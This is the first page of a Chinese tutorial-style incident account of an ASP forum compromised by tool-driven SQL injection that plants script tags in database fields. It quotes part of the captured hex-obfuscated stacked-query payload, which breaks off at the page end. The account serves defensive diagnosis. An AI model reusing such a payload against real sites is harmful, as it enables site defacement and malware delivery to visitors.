您现在的位置:IT之家 >> 学院>> 数据库开发教程>> SQL Server教程 >> 正文内容
同级栏目:
SQL Server教程MySQL教程Oracle教程Access教程DB2教程Sybase教程FoxPro教程
>内容阅读:

用工具注入然后挂马

作者: 来源: 时间:2009年12月17日 【字体:
这个是用工具注入然后挂马的,你检查一下你的代码有没有 "select * from xx where id="+request("id")这样的写法,ASP代码太容易被这种工具攻击了。
     最近维护公司的一个ASP论坛,上午同事反映说某些用户的数据有些离谱地异常,让帮查查是什么原因.开始以为可能存在刷票的嫌疑,查 IIS Log ,看似正常无果,后转查看数据库中的表.无意中发现某个 varchar 字段里有 <script src=xxx> ,9成是被注入了! 接下来就是找程序,可从这么多哪里找起? 于是又试图分析 IIS Log 无果. 正当我们茫然不知所措的时候, 刚才清理的数据又回来了.于是赶紧在服务器上打开 Sql 事件探测器开始监测一段时间.大量的查找又几乎无果后突然发现某个 Sql 语句里有一大堆莫名其妙的数字,难道是这里?将其值复制后到本地随便哪个库运行一下,其值类如:
nickname = 'xxx';DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D00
共4页 您在第1页 首页 上一页 1 2 3 4 下一页 尾页 跳转到页 本页共有985个字符